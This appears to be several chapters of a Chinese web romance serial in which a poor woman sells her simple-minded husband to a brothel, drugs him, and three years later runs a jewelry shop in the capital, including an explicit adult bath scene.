从金禧堂出来后这是第三天,她没进过一口食,四肢发虚,每走一步身子轻飘飘似一朵云,像是要即将摇摇欲坠……
下一秒,天地颠倒,陈窈眼前一片黑,晕倒在地上。
“窈娘!窈娘!”
闭眼倒下的前一刻,她看见裴照七慌张的神色向她扑来。
——
再睁开眼时,陈窈从一张精美的床上醒来,她迷惘地环视周围,床两端悬挂的灯以绢纱镶嵌,映出富丽的彩绘,窗棂下的红木梳妆台,纹理绚丽,灯火闪过发出灿灿的光亮。
这一切都很眼熟,仿佛在哪里见过。
陈窈扶了扶发懵的脑袋,猛然惊觉,这不是她之前来过的望春楼吗!?
她怎么会来这里?裴照七又去哪儿了?
陈窈心脏跳动的厉害,来这儿可不是件好事,她正欲起身下床,这时门忽然被推开,凤姨踏进门槛徐步走来,侍女们跟随其后,放好餐食撤下。
“你醒了?”
凤姨端庄艳丽地坐在玫瑰椅上,见她眼底笼起的戒备与忐忑,解释说:“你在街上饿晕了,恰巧被我的人看到了就把你接过来了,别有所顾虑。”
陈窈双眉下压,眼珠流转,“既是巧合,你又怎知我是饿晕?”
晕倒可有吓倒或病倒,凤姨精准的判断,令她生疑。
凤娘目光微凝,继之笑了笑,被人识破也不伤大雅,“看来我没看错人,若是我没一笔生意要和你谈,绝对会与你相谈甚欢。”
“生意?”
陈窈想起之前要她卖身的话,她现在落魄得不成样子,凤姨想必掐准了这点。
“我之前说过,不会出卖自己的身体进勾栏瓦舍。”陈窈仰起头。
凤姨微笑,“不是让你来。”
陈窈疑惑,“嗯?”
“你先吃点东西,咱们慢慢聊。”凤姨不急。
空空的肚子终于装了点食,陈窈用完两碗鹌子羹的同时凤姨也和她说完,她愈听眉头皱得愈深,而凤姨谈笑风生,丝毫不觉羞愧。
商人就是商人,唯利是图,在她身上赚不到银子便想方设法地摄取别的法子。
陈窈只是恨一时而已,还不至于把裴照七给卖了来换自己的荣华。
妓院是什么人来的地方,听曲看戏是浮于一颗肮脏内心的障眼法,培养一堆坠入风尘的女子,让她们沦为官家子弟的玩物,而凤姨还竟想养一批男子。
民间有传闻,喜断袖之癖的男子,专门在这种地方寻欢作乐,他们在床上性情残暴,不把人当人看,作为一个宣泄的工具,其残忍程度难以想象。
想把她的裴照七送到那种地方,想都不要想!
“我不会答应你!”
陈窈满眼气愤,重重落下碗筷,“啪”地发出清脆的声响。
23. 不忍
凤姨像是料到陈窈会拒绝,她美艳的五官依旧春风满面,“我们又不是杀了他,辱了他,他来了我们好吃好喝地伺候,你不用摆出一副苦大仇深的模样,像是我们要虐待他似的,我们这儿的姑娘个个生得滋润,活得快活!”
陈窈一哼,缓缓说:“青楼中人,看似光鲜但眼中总含几分悲伤,何来滋润一说。”
凤姨美睫轻轻一颤,笑意微敛。
陈窈手托着下巴,凑近瞧凤姨的眼睛,“有没有人说过你的眼睛很美,但美则美矣,却缺少一抹人性。”
“人性?”凤姨眉梢挑起,“楼中的姑娘哪个不是我将她们从火海中救出,你们口中一个个的妓院青楼,却不知道这地是她们遮风避雨的庇护所!”
接着,她又言,“我凤望仙虽爱财,但这里的生意从来都是你情我愿,你若不愿我自不会强求。”
话落,换陈窈蹙起眉来,凤姨这般铿锵有力的话似乎与她所想殊途。
不过,来了都来了,陈窈便一次问个清楚,“能卖艺不卖身?”
凤姨一听有戏,又换上一副笑脸,“自是可以,卖艺卖身我都赚钱。”
陈窈眼底划过疑虑,她不信。
凤姨起身,请她去窗边观望。
“我这里的玉兰姑娘,如兰花似的冰清玉洁,我都不忍叫那些俗客近了她的身,只远远听她弹一曲琵琶,我这儿钱也挣到了。”
往下望去,一女子正弹古琴,下面的看客与她保持一定距离,侧边有两名高挺的男人守候,这是陈窈第一次来没注意到的。
凤姨:“看没看到,若是有人敢肆意妄为,坏了楼中的规矩,我凤姨也是容不得的!”
陈窈眯了眯眸,女子乌发蓝衣,姿态清雅卓然,不难看出她骨子里透出的高洁,要不是在这勾栏,陈窈还以为是哪家贵府的小姐。
陈窈回到桌前说:“既然如此,你为何要裴照七来?”
她原以为凤姨要人出卖身体,可听她这番话曲艺也可,但裴照七一傻子学什么都学不会,要来也是没用。
“他不仅长相俊俏,重要的是他听话,很听你的话。”凤姨说:“只要你哄他说赚够五百两黄金,你就会回来接走他,他自是情愿学艺,不怕傻男人只怕不听话的男人。”
陈窈沉下眸子,看来凤姨是知道裴照七是傻子,还把整个的后路都打点好了。
如若单单卖艺的话,这何尝不是一桩好买卖。
陈窈眼中疑虑比刚才浅淡了些许,凤姨看出她的踌躇,转而说:“你带着他只能拖累你,一个女人养家糊口都不易,这些日子你也经历了,要不是我,你那相公还不知道要把晕倒的你带到何处栖息呢?”
陈窈数了数日子,垂下眸说:“我们四年夫妻,突然让我抛弃他,多少有些不义。”
凤姨游走江湖多年,老练成熟,看陈窈这样子便知她已动摇,想卖掉裴照七了,现下只需得一个能说得过去的理由罢了。
“说什么抛弃不抛弃的,之于你,有他没他都一样,之于他,跟着我们吃香喝辣,你不仅没有抛弃他,反而给了他更好的生活。”
凤姨倾身,往陈窈喝了一半的水杯里添了点水,端起水杯悠悠走到一朵花前,“这水你喝一半解渴,既已达到目的,剩下的多余一半用来浇花,花日益滋润。”
“两全其美,又何乐而不为呢?”凤姨将空杯放到她眼前,笑着说。
陈窈盯着那空空的杯子,像是将他们四年的感情的抽干一般。
“做人嘛,不能光感情用事。”凤姨坐下,摇起团扇说,“你光有情了,能得到你想要的一切吗?”
是啊,要是能住在大房子里,谁愿意住冬冷夏热的草房。
片刻后,陈窈缓缓启唇:“我考虑考虑。”
凤姨微微一笑,十拿九稳了。
——
“客栈给你续了,三日后我希望看见裴照七出现在我的望月楼!”
临走前,凤姨给她丢下话,五天是期限,也是她与裴照七此生最后相处的时光。
她和凤姨“谈生意”时,裴照七在另一雅间已用过饭,都是些他从未尝过的佳肴美馔,回去的路上他一个劲儿地问她。
“你也吃甜糕了吗,很甜,我吃了好多呢,还有蜜枣和蜜饯。”
陈窈甚觉稀奇,“你平日里素爱吃肉,怎不见你说肉香呢?”
裴照七撇嘴说:“那里的鸡不好吃!”
陈窈:“……”
她刚接裴照七时,就见他被几个美人左右簇拥,抢着喂他果子吃,那场面真是凤姨一贯的作风。
陈窈没直接上前,而在一旁站了半晌,那美人身上软软一倚,想靠着他,裴照七像是避毒般侧身,左边躲了还有右边。
裴照七百般推辞,眼看石榴就要放到他嘴里了,他蓦地眸光一晃,好似看到救命稻草,喊她,“娘子!娘子!”
陈窈想到这一幕不由一笑,问他,“只吃了糕点,没吃石榴吗?”
“你说那红红的小果子啊?”裴照七想了想,“没敢吃。”
“为何不敢,你娘子我有那么可怕吗?还会计较一果儿?”陈窈来了兴趣,故意问他。
“窈娘,你不生气吗?”裴照七眼巴巴地看她,黑眸中似蒙了一层薄雾,忧悒不乐。
她想,若是裴照七不是个傻子,他应是妻妾成群。
“不生气,我知道你心里有我,不会随便接别的女人递来的果儿。”
陈窈说着情话,可她眼底却不见任何笑意,快要分别的夫妻,她实在没工夫与他谈情。
裴照七贴过来,“娘子,你真好!”
“你若想吃,我们这几日在客栈多点些肉。”留给两人相处的时间不多,这几天她什么都会应许裴照七。
“好。”裴照七一听有能多吃肉,连连拍手叫好,但转念一想,蹙眉道:“咱们不是没银子吗?”
“现在有了,你想吃多少就吃多少!”陈窈说。
回到客栈,凤姨给她们换了个大的房间,一推门便是一张大床,都能躺下三人,屏风后还有一个沐浴桶,足足能装下两人。
陈窈扯了下唇角,青楼的老鸨真是贴心。
裴照七直接滚进床,躺在上面笑说:“有了银子是不是就不用这么辛苦了?”
陈窈随着他,沿床边坐下,“对,这几日你想做什么,我都陪你,好不好啊?”
裴照七起身,在脑海中搜罗着大餐说,“我想吃肘子吃烤鱼吃大虾。”
陈窈答应:“好。”
裴照七拉起的手,露出两排白牙,嘿嘿一乐,“和窈娘一起吃!”
陈窈笼起一个浅浅的笑,不真却也不假。
她对裴照七的笑,是假。
她不舍这几年的感情付出,是真。
这晚,裴照七吃得很饱,陈窈却没怎么用饭,她黑沉的眼眸比夜色还要浓,装着难以抒予的沉重。
许是裴照七吃了几天以来最饱的一顿,睡前亲了她一口,便抱着她呼呼大睡。
他这一抱,把能容下三人的大床又睡成了小小一张……
陈窈扣着他的手往外来,想挣脱开他的怀抱,他睡得死,搂着她腰的力量更是死,怎么也拉不开。
她只好作罢,闭眼入睡,心中暗想,该怎么甩开裴照七这个麻烦。
入了冬,陈窈先带裴照七先去店铺置办几身行头,穿上新衣服人看着也机灵些。
裴照七挺起胸脯,转了一圈给陈窈看,“好看吗?”
陈窈淡淡扫了一眼,嗯了声。
第三天,两人来到望月楼。
陈窈有意想把他直接丢在此,等他陷入一片温柔乡时,她已不动声色地离开。
趁着裴照七吃肉听曲时,陈窈跑到二层与牡丹姑娘知会了声,牡丹心领神会地帮她安排妥帖。
裴照七沉浸一大桌子的美味,左一口熏鱼片右一口水晶皂儿,甜咸混合,他吃得好一个畅快!
陈窈回来,见糖渍蹭在他嘴角,边给他擦拭边问他,“相公,你听她们弹得好听吗?”
裴照七嘴里有一块鸡腿肉,含糊不清地说了句。
陈窈没听清他说的是好听还是不好听,为了丢下他就当是好听,她放下帕子,“这么动人的曲子,你不想学嘛?”
裴照七咽下去,对此兴趣不大地摇摇头,“不想学。”
陈窈料到如此,她轻轻靠在他肩头,抓着他的手,楚楚可怜地学着可人的温婉小调,“可我喜欢,你不想为我学,弹给我听吗?”
裴照七身子似僵了僵,没回应陈窈。
“相公?”
陈窈手抚摸他硬挺的胸膛,缓缓挺起身来,凑在他的耳廓唤了声,盛满媚态眼波一眨,似春江翻涌。
裴照七被她撩拨得耳尖发红,反扣住她的手放在自己的心口,“娘子叫我学,我就学!”
一切如所想那般,陈窈笑了笑,“真乖。”
接着,陈窈从他手中抽开,拍了几下。
门被推开,几名穿着花红柳绿的女人向裴照七扑来,一时间裴照七仿佛又回到了昨日般,夹在中间畏畏缩缩,瞪着大眼睛向陈窈求助。
陈窈早在她们到时,先一步为她们腾出地,站在桌边等待时机溜走。
她怕裴照七跑了,嘱咐他说:“只是学琴,不会喂你吃石榴,放心吧相公。”
“好、好。”裴照七被几个女人拥着很不自在,半信半疑地说。
陈窈见她们弹起琴来,裴照七的注意渐渐被琴声被吸引走,她转身便要离开,这时裴照七眼尖地叫住她,“娘子,你去哪里啊?”
陈窈身子一顿,眼露慌张神色,尴尬地笑了下同他解释,“等你把琴学会了我就来接你,好不好?”
裴照七挠了挠不争气的脑子,懊恼地说:“要是学不会呢
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陈窈扯住嘴角,“……这”
裴照七身边的女子们,左边右边各一个握着他的手往琴上按,声音柔柔地说——
“公子卓然身姿,不会学不会的。”
“是啊是啊,公子你来嘛~
“指尖要像这样……”
裴照七躲也躲不过去,他的手硬是被她们拉扯着去,想呼喊陈窈却被女人们阵阵嬉笑盖住。
陈窈悄然离去,而神情似比没银子时还要寂寥,她就这么把自己亲相公往火坑中丢,确有些不忍。
她心事重重地回到客栈,空荡荡的房间只有她一个人,霎时间还难以适应身边少一个人的陪伴。
如果计划顺利,明日一早她便会离开这里,重新生活,一个没有裴照七的生活。
天一点点暗下去,像个空洞的漩涡。
陈窈望向窗外不太圆满的月盘,眼神恍惚,
想必牡丹姑娘已牢牢将裴照七留在望春楼了吧。
她不伤心,一点也不!
这就是她想要的结果,她就是一个贪慕虚荣的女人,为了金钱与银两可以出卖自己枕边人。
越想鼻尖酸楚涌上,泪湿润眼眶,陈窈扬起头努力不让泪掉落。
“咚咚咚——”
就在此时,门外一阵急躁的敲门声响起。
陈窈凝眸,她记得一个时辰前刚叫小厮进来加炭火,应该不会有什么事再来叨扰她了。
这个点还能有谁找上门。
随着门外越激烈的敲动,陈窈心跳动得越快,她黑黑的瞳子快速转动,骤然一惊。
不会是……?
陈窈一开门便如她所想那般,裴照七那张面孔清晰地出现在她视线中。
下一秒,他如林间野兽般瞬间朝她扑来,整个身子的重量都压在她身上,似对她的一种惩罚般。
她不受力直直后退,腿窝挨到床沿,身上的力量过于重,两人躺倒在床上。
裴照七死死地抱了她一会儿,旋即撑起身来,双肘放在她两侧,垂眸盯着她说:“窈娘,我想死你了!”
这种姿势让陈窈觉一股压迫感盈满周围,似将她置之一处不透风的房子,四处皆是瓦砖厚土,令她喘不上气。
陈窈手推了推他结实的肩膀,“你先起来、起来再说。”
裴照七没听她的话,直视着她反问道:“你是不是忘记接我了。”
陈窈点点头,顺着他说,却始终不敢对上他清澈的双眼,“对,我去给你买糕点,然后……不小心睡着了,正要去接你,你就回来了。”
话落,屋内陷入一片寂静,两人沉默不语,案面上一盏烛火映照彼此脸上隐现的暗影,好似笼上的假面。
良久,裴照七低低地哦了声。
陈窈侧目尽量不去触碰他的视线,而在她看不到的地方,眼前男人犀利的神情似要透过她这张面皮。
“怎么了,相公?”陈窈见他迟迟不起身,许是心虚,冷汗早已渗透手心。
裴照七这才缓缓从她身上下来,坐在床边又恢复天真无邪的神情说:“我就说娘子肯定不是不要我了。”
陈窈心一跳,努力湾起的唇,毫无笑意,“我怎会不要你呢。”
“她们都说你不要我了,说你要过上好日子就得把我先抛弃。”裴照七抱住她的胳臂,亲昵地靠着她,“我不信她们的话,我要一辈子黏在娘子身边,与你不分离。”
陈窈四肢僵直,要是真裴照七如愿景,她就要吃一辈子糠咽菜。
想通这个道理,陈窈已然对他的示好无动于衷。
她脑中快速转动,若说牡丹她们已和裴照七摊牌,那他又是如何回来的呢?
陈窈把胳臂从他怀中抽出来,他力颇大,她用了几分力气,勉强站起来问他。
裴照七对她的疏离莫名其妙,歪着头说:“我、我学完就回来了。”
陈窈怒喝:“你说谎!”
他绝不可学得会,望春楼也绝没把到手的肉放回的道理。
裴照七起身慢慢靠近远离他的陈窈,俯首站在她面前,声音越说越小,“我……我偷偷跑回来。”
陈窈就知如此,“你不好好在那里学艺,跑回来干什么!”
裴照七出逃,她的银子会不会因此减半,没有钱她就什么都没有了,她不能让裴照七出望月楼。
“我想你,想你就跑回来了,你不想我陪……”裴照七说。
“滚开!”
陈窈看着他这张脸就心生厌烦,胸中怒火翻腾,不等他把话说完,“啪”的一声甩了他清脆的一巴掌。
裴照七彻底噤了声,难以置信地捂着火辣辣的脸。
一道红印清晰地显露在他侧脸上,陈窈眼底掠过一丝悔意,想伸手触摸却被裴照七躲开。
他慢慢仰起头,眼中充满不解,“我到底做错了什么,惹窈娘如此动怒?!”
24. [锁] [此章节已锁]
陈窈与裴照七冷了两天。
就连睡觉时他都刻意躺到另一边,这张大床的作用终于显现。
两个各执一边,除了吃饭外他应,其余互不打扰。
偶尔陈窈转身看他宽阔的背部,想伸手触摸他,又想起自己怒急攻心时甩了他一巴掌的样子,又收回手堪堪作罢。
把裴照七丢在望春楼那时她悔过,几年夫妻情分毁于她一念。
但……
在她被算命的瞎子叫住时,一切都变了,陈窈坚定卖掉裴照七的心。
瞎子头顶灰色帽子,左侧缝合的补丁,让他布满褶皱的面部更加沧桑,他问了陈窈几个问题,大致家中几口人,平日里吃些什么等,又要了她夫妻两人的生辰日。
陈窈对他莫名的问题都如实回答,瞎子像得到应允般,黑眸忽地上翻,双眼顿时被眼白充满,左手指尖无序地挥舞,口中不断絮叨,听不清说什么。
陈窈吓了一跳,待他眼珠恢复如初,道出:“你是个富贵命,奈何夫运太强,故命中无财。”
陈窈一听没有钱财,着急追问他:“何为夫运?”
算命瞎子眼一眯,手翘起言说道:“五行相生相克,木克土、土克水、水克火、火克金、金克木。你相公五行失衡,财星相克过旺,与你金命相撞故不得大富大贵啊!”
陈窈大惊,竟是这样吗?
她在花颐村时勤勤恳恳耕耘,日子不富足也不至受饥受饿,却因裴照七无奈搬走,好在天不亡她,让她获一门巧手,但攒下的银子又因赎裴照七而空,不久后金禧堂垮台,他们……
陈窈心跳如鼓,慌乱得不行,回想这一桩桩事儿连理一起,一语成谶般击中她。
宁可信其有,不可信其无。
只因瞎子的话,致使她甩了裴照七一巴掌,陈窈实在是穷怕了,她害怕回到穷困潦倒的小乡,住在简陋的茅草房,吃难下咽的粗粮,喂家禽弄得满身鸡屎味,到了冬天用冰冷刺痛的洗手,细嫩的皮肤一圈冻疮……
日出而作,日落而息的日子,望不到头实属难捱。
陈窈可以没有男人,但必须有银子牢牢握在手心。
凤姨说再给她三天时间,这也是她最后的耐心,若她没看见人别说是银子了,这几日他们所有的开销都让她翻倍的赔。
对于陈窈来说,这别无选择,也是最好的选择。
就这么和裴照七僵持了两天后,牡丹姑娘踏着冷风敲响了房门。
杜丹瞟了眼坐在窗外看浮华的裴照七,给陈窈使了个眼色。
陈窈掏出钱,转头对裴照七说:“相公,你且先下楼用饭吧。”
裴照七淡淡地接过银子,随后走出了门,从始至终目不斜视,未曾分给牡丹半分。
牡丹心思细腻,不禁感叹说:“你这相公眼里只有你,我要是你也舍不得!”
陈窈连水都没客套地给她倒一杯,语气平平地说:“你来做什么?”
“我是来帮你的。”牡丹将一包迷魂药放在桌上,两指推到她面前,意思不言而喻,“心软之人难成大器!”
陈窈垂眸,神思恍惚地盯着药包不知思索什么。
牡丹告诉她,“你只管把这包粉下进裴照七喝的水中,剩下的交由我们来办。”
陈窈抬眸,眼神中有了变化,“灌药?”
“这个法子万无一失,将他迷晕后送往望春楼,等人醒了你早无影,任凭他千般苦寻都无果而归,只能仰仗我们!”牡丹笑着说,眼带几丝得意。
陈窈双眸微眯,弯了下唇说:“凤姨真是好良策。”
牡丹还以为她不愿,拉拢着她说:“凤姨是为你好,你既下不去手,不如我们助你一臂。”
陈窈挑眉,嘴角勾起一抹嘲讽,“帮我?那日你们又怎会放裴照七走?”
她细细思量了番,不觉裴照七有什么本领能在望春楼溜走,如若不是凤姨的吩咐,谁敢放走他。
“我们生意人可不讲情,放回他对我们有什么好处。”牡丹话音微变,“你这相公小聪明多着呢,倒是我们轻信他太傻,这才让他有可乘之机。”
裴照七当真是自己出逃?
陈窈轻咬下唇,疑虑地想。
牡丹提醒她:“明日便是交付期限,尽快把药下了,不要惹凤姨不快。”
陈窈早已做好选择,但她还有一个疑问,措辞道:“不是说好,你情我愿的吗?”
“没错啊。”牡丹扬起嘴角,似在笑她天真,“只要你把人放在楼中,我们有的是本事让他留下,心甘情愿的出不了我们望春楼一步。”
“娘子,你和我们是一类人,半个身子都踏入这泥浆,休想再把自己摘干净。”
“用一个没用的夫君换今后的幸福,这买卖你不亏。”
“你不说话,我就当你收下了。”
几句忠告说完,杜丹便走了。
屋内窗外半掩着,寒风从外吹进,陈窈只身单薄却一点都不觉冷。
永远出不来望春楼她就心安了,只怕裴照七再出逃寻衅于她这个始作俑者,到时候她的富贵只怕会再次坏在他身。
裴照七回来得很快,两人在一个屋檐又是默默不言的一下午。
到了晚上,陈窈将屋内所有窗户关好,给一直没用过的浴桶蓄满热腾腾的水。
她想今晚既是最后一面诀别,理应投其所好才对。
她轻唤裴照七过来,声音如从前的婉转却不见温情,“相公,热水备好了,来洗吧。”
裴照七听见她唤,三两下把自己脱个精光,赤身大步跨进水中洗澡。
不久,浴房传来悠扬小曲。
裴照七洗得舒心,陈窈却神色凝重地走到桌前,她将袖口里的药粉洒进杯中,她轻轻摇晃杯身,白色的粉末几乎一瞬溶于水中,看不出一点端倪。
要怪只怪他们八字相克,怨不得她无情!
夜色沉沉,浓重的雾气萦绕。
陈窈推开浴房的门,低敛着眉目走进,热气顿时将她包裹,脸颊两侧的红润宛如染上胭脂。
“相公?”她双唇轻启,“还热吗?我给你添些。”
说是加水,陈窈却没想要拿水瓢的意思。
裴照七诧异地转头看陈窈,她白衣长裙,乌黑的长发披于身后,水雾朦胧在她灵动的双目,似不同于往日的感觉。
浴桶里的水还温着,他刚要想说不用加,只见陈窈指尖摸上腰间的束带。
下一秒,衣裙从女人身上滑落在地,似雪一般光嫩的肌肤袒露,她身材匀称姣好,细腰酥/胸,曼妙玲珑,未着寸缕地站在他面前。
裴照七眼睛都瞪直,张了张口不知说什么。
周遭温度持续上升,不加水都很热。
陈窈从容地步入,浴桶瞬间变得狭小拥挤,粼粼水面缓缓波动,温热的水浸没她胸前,她双颊含羞对上裴照七惊错的视线,“相公,你想不想?”
裴照七彻底愣住,傻乎乎地问她,“你……你想和我一起洗吗?”
陈窈笑着摇了摇头,随后她从水中摸出裴照七的双手,抓着他的手搭在自己纤细的双肩。
女人两条藕节似的玉臂勾住裴照七的脖,随着水波浮动荡漾,她慢慢靠近,吐息铺落他耳畔,“我想与你交欢。”
热气凝结成小颗水珠,两人鼻尖对鼻尖,呼吸交错,裴照七耳廓红得像快熟般,他舔了下干燥的唇,结结巴巴地说:“……现在?”
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陈窈没有回答他,低头吻上了他的喉结,与其说是吻,不如说她在舔舐。
裴照七心似钻进一百只蚂蚁一样痒,一种从未经历的美妙油然而生,他什么都顾不得了,水中伸出的掌牢牢扣住陈窈的脑袋,加深了这个吻。
正值气血方刚的男儿,即便与自家娘子冷了两日,此时面对陈窈送来的好,除了稀里糊涂地接住,别无他法。
浴房内温度不断上升,旖旎暧昧萦绕彼此,落在皮肤上的水珠分不清是汗珠还是泪水。
一转眼,男人在狭小的浴桶里占领了主导优势。
以前家中没条件,这是裴照七第一次在浴桶中与她沉溺,加之他们有一阵时日没做了,他今日格外卖力与兴奋。
“啊、啊啊,慢些……”陈窈嘶了声,混着断断续续的呻吟。
他们动静太大,桶边已溢出几圈的水,更煎熬的是伏在她身后的男人,他嘴唇贴着她敏感的耳后,声线沉哑,“窈娘,我做得对吗?”
陈窈痛苦地紧蹙着眉,双手撑在桶沿,湿漉漉的发贴在潮红的脸庞,雾气氤氲迷离双瞳。
她低低垂眸,视线中一双灼热的大手,掌背的青筋随着起伏如蛟龙凸起,水波剧烈晃动,她感受到身体持续不断充盈,只剩缥缈的声音回应。
裴照七并不打算止于此,男人似有使不完的力气,全悉数撒在她身。
又是一轮的折磨……
裴照七几乎是站在桶里,他微蹙着眉,一掌拍在她臀上说:“出声!”
清脆的一声,让陈窈想起她甩给裴照七的一巴掌,算是给她的报应,也迫使她嘴边溢出嘤咛。
陈窈天真地把一切归结身后的男人太兴奋,而在床上的裴照七才是真实的、毫无保留的他,他的爱与恨都与她融为一体。
到最后陈窈连一根手指都抬不起,裴照七给她清理完身子后抱着她上床,但她还惦记桌上早已凉透的茶水。
“相公,我备了茶水,你去拿来喝。”
陈窈对裴照七不用太费口舌,就算她告诉他茶里有毒,只要是她让他喝的,他都会照做。
裴照七目光微眯,意味深长地望了那杯茶一眼,继之起身端回到床边,在陈窈的注视下将茶水一饮而尽。
直至吹灭了油灯,他没有多问一个字。
今夜,裴照七没有搂她。
陈窈心里压着事,从始至终都未曾察觉此时的裴照七一点都不像他。
黑暗中,均匀的呼吸从身旁传来,陈窈睁开双眼。
“相公?相公?”陈窈拍了拍他,确认他熟睡不已后起了身。
——
望春楼前,凛凛冷风扑面而来。
“我还以为你下不去手呢,干得不错。”凤姨满意地笑了笑,拿出鼓鼓的钱袋递给她,“月月你都会收到你相公赚的银两。”
“他不是我相公。”陈窈面色比外面的天还要冷几分,她接过揣进怀中,走进呼啸的寒风中。
凤姨注视她消失在尽头的倩影,几刻后握着团扇回了楼。
徒然间,天落起了大雪。
陈窈伸出手来,飞扬的雪花落在掌心,她没戴绒帽漫天飘洒的雪,铺落在她发间与长睫,晶莹纯净的眸子垂了垂,雪色泛出清冷的寒意,化为几滴水。
她在嬅京的第一场雪。
雪越下越大,街上的小贩陆续收了摊,陈窈只单形影一点都不急,她漫步在纷飞的大雪之中,漫天一色的雪白,仿若世间只有她一人。
忽地,陈窈胃中一阵翻滚,她撑在边上的石柱旁,连连干呕了几下,却什么都没吐出来。
陈窈捂着心口,骤然惊觉。
她没服用避子汤药,该不会是有了吧?
25. 新生
三年后,襄商十八年春。
细雨过后,弥漫一股沁人的湿润与新生,叶似翡,花如珠,偶时几只鸟儿莺声飞过,生机盎然之景跃然眼前。
而然,远处宽敞院落里,嘈杂的喧吵如泥雨中最黑的一滴水,唰唰地从中迸溅。
女人瘫倒雨后冰冷的地面,她面色凄惨,发丝松散,一缕碎发坠在额角,仰头看向眼前毫不讲情面的男人。
“五日后迎翠柳进门,你备上丰厚的金银首饰、珠宝玉器和绫罗绸缎,该有的聘礼一样都不能少翠柳。”男人的声音薄凉,不容拒绝,像一根坚硬的冰锥插进她的心口,顷刻间寒凉刺骨。
积水倒映着女人充盈泪水的双眼,她满脸难以置信,指尖狠狠地指着他,哽咽说:“堂堂妾室竟比大娘子还要风光进门,你这不是要打我的脸面吗?”
“还有颜面自诩称大娘子?”男人低垂着眸子,了无半分夫妻情意,哼道:“别家正妻为夫君分忧解难,而你只会忤逆我!让你招个妾室进门百般不愿,像是我盛府苛责你一般。”
“夫妻之间本该琴瑟和鸣,以礼相待,而不是一个任你使唤,为奴为婢的女人,何须摆着找妻子的名堂,故作姿态!”女人彻底看清他的嘴脸,一语戳中他这些年掩藏在面皮下的龌龊。
“你个妒妇!”男人像是被她说中般,胸中怒气腾升,扬起的手却又堪堪止住,他撂下长袖,“我不与你置气,同意便给我风风光光地办,也美名你这大娘子的贤良美声,你不同意我亦要娶,不然我休书一封,你落得一个善妒的名声,大家都不得安宁。”
“你要休了我?”
她似乎没想到他真会为一个女人休了自己,如此狠心地让她受人非议,名节有损。
男人拿准了她,抬起下巴得意地说:“没错!你带一孩子,除了我谁还要你一介弃妇!”
话落,他重重拂袖,毅然地转身走去。
“盛明朗,你还记得对我们母女的承诺吗!”女人喉咙沙哑,嘶吼着喊住他。
男人眸光微动,侧过身定了定,风掀起他的衣摆,决绝的身影消失在女人的视线中。
他没说一句话。
女人嘴唇发颤,他忘了,她却记得清楚。
当年她挺着肚子,连呼吸都辛苦得很,而他的眼里充满了怜惜,捧着她重如球的大肚子亲了又亲。
男人目光温柔,坚定对她说,生下来,他不怕世俗的眼光,比起大家的冷眼他更担心她的身体。
女人含泪,想起曾经的美好,顿时心痛百般。
一旁的女娃娃被刚才那幅场景吓哭了,她哭喊着跑来,约莫三岁,利落的双挂髻上各挂珠花,粉雕玉琢,稚脸却被泪痕侵湿。
她跌进女人的怀中,“娘亲,爹爹是不要我们了吗?”
女人抱着女娃娃在自己腿上,泪花打湿睫尾,她抹了把泪摇了摇头,“不是。”
小女娃瞪着圆圆眼,两人长得极为相像,紧锁的眉目如出一辙。
“是我们不要他。”女人抱紧怀中的小孩,捏紧秀帕的手,颤了颤。
盛明朗看准了她,她偏不要他如意!
——
正德大街这片商贾云集,又叫金市口,因商人聚集于此交易金饰珠宝而得名,望不到的尽头的小店前长龙蜿蜒,排起了队。
来往的马车内,女人捏了捏小女娃奶呼呼的脸蛋,“知道我们要去哪吗?”
女娃娃摇摇头。
女人温柔一笑,倾身说:“想吃蟹粉酥吗?”
“嗯!”女娃娃机灵得很,明亮的双眼一闪,“去姨娘家?”
“真聪明!”
女人刮了刮女娃娃的鼻子,双手抱起她坐在中间腿上,女娃娃手中摆弄着陶响球,发出沙沙的响声,背对着女人玩得津津有味。
女人转眼柔声消失,多了一抹哀伤与尖利,悄然划过眼底,像是黑夜浮动的暗星,转眼即逝。
铺子前门庭若市,尚未开张却挤满了人,大多是丫鬟们前来为自家小姐采买金银首饰。
女人转个弯,轻车熟路地来到后门。
门前早有人接应,晓依推门请她进来,“盛夫人您请,我家老板娘一早便吩咐我准备了,您快快请进!”
“不用如此麻烦。”女人缓步跨进,腰部不扭捏,仪态极好。
盛家夫人卓姿是这里的常客,她与金瑶楼的老板娘交好,把女儿交给晓依后,去了二层待客的雅间。
日头从窗外懒洋洋洒进,映照着斜靠在榻上的女人,她一边长发垂落,侧头用别支青玉簪别住,撩起的长袖下,一截如凝脂般白皙的小臂露出,眼帘掀起时,透出玲珑万分的风情。
陈窈从榻上坐起,客气地说:“多亏有你为我施针,我身子才能好转。”
卓资收起针灸,轻笑说:“药渣里幸亏没有水银,只有些麝香和紫茄花,要不神仙来都治不了你。”
陈窈挑眉一笑,“卓姐姐可不就是我的神仙。”
卓资捂嘴笑:“就会说好听的哄我开心。”
陈窈自常年服用避子汤药,体内气血运行不畅,大不如前,当时她还怀疑过自己有了,到如今看连想有自己的孩子都不容易。
她即将成亲,若调理不好只怕被夫家笑话,好在结识卓资,她家世代为医,医术了得。
卓资垂下眸子,纤白素手轻捏茶托,“这碗百合枣仁茶,安神养心,行气活血,对你身体大有裨益。”
陈窈很相信卓资,接过她递来的茶饮喝了下去,酸酸甜甜入口,几口下去整个身子都暖了,没一会儿便躺在榻上小酣。
霞光满天,景色宜人。
这一觉陈窈睡得神清气爽,她揉了揉脖子,唤来晓依过来。
晓依轻轻阖上门,边为她梳洗簪头,边回她的话,“盛夫人见您熟睡就走了。”
“卓资没试我带的金钗吗?”铜镜映照女子的绝色容颜,她拿起簪子往侧目比了比,“用这只!”
晓依接过斜插上去,“试了,还另买了好些,我都按低价给夫人包起了。”
“那就好。”陈窈满意地望着镜中的自己,嘴角微微一笑,月貌花容的姿色就连布着尘的铜镜都养眼了几分。
陈窈这几年过得顺风顺水,用每月送来的银两开了间铺子,选在嬅京最繁华的街道,更别说她技艺非凡,来客络绎不绝,日日金银入账。
仔细想来,当真是被那算命的瞎子说准了,她命中带金水,生来富不穷。
她……也很少再想起那个男人。
仿佛那几年的记忆如细沙,一缕轻风轻晃,散得不留踪迹。
楼下一阵喧吵,动静震得陈窈从思绪中拉出,她动了动耳,“楼下什么声音?”
晓依擦拭着铜镜站在窗口,远远往外望,“您醒的真是时候,我老远就听说今日皇宫的轿子会来咱这片儿,估摸着应该快到了。”
陈窈对谁来都不感兴趣,她不想扫晓依的兴便搭话,“这么高调?谁呀?”
“是摄政王。”晓依说。
陈窈哦了声。
近几年关摄政王的传闻,说书先生们都不知道说了多少个来回了,陈窈一耳进一耳出,只当个解乏的话本听了几嘴罢。
但都绕不开这位年轻的摄政王是个吃人肉、喝人血的魔头。
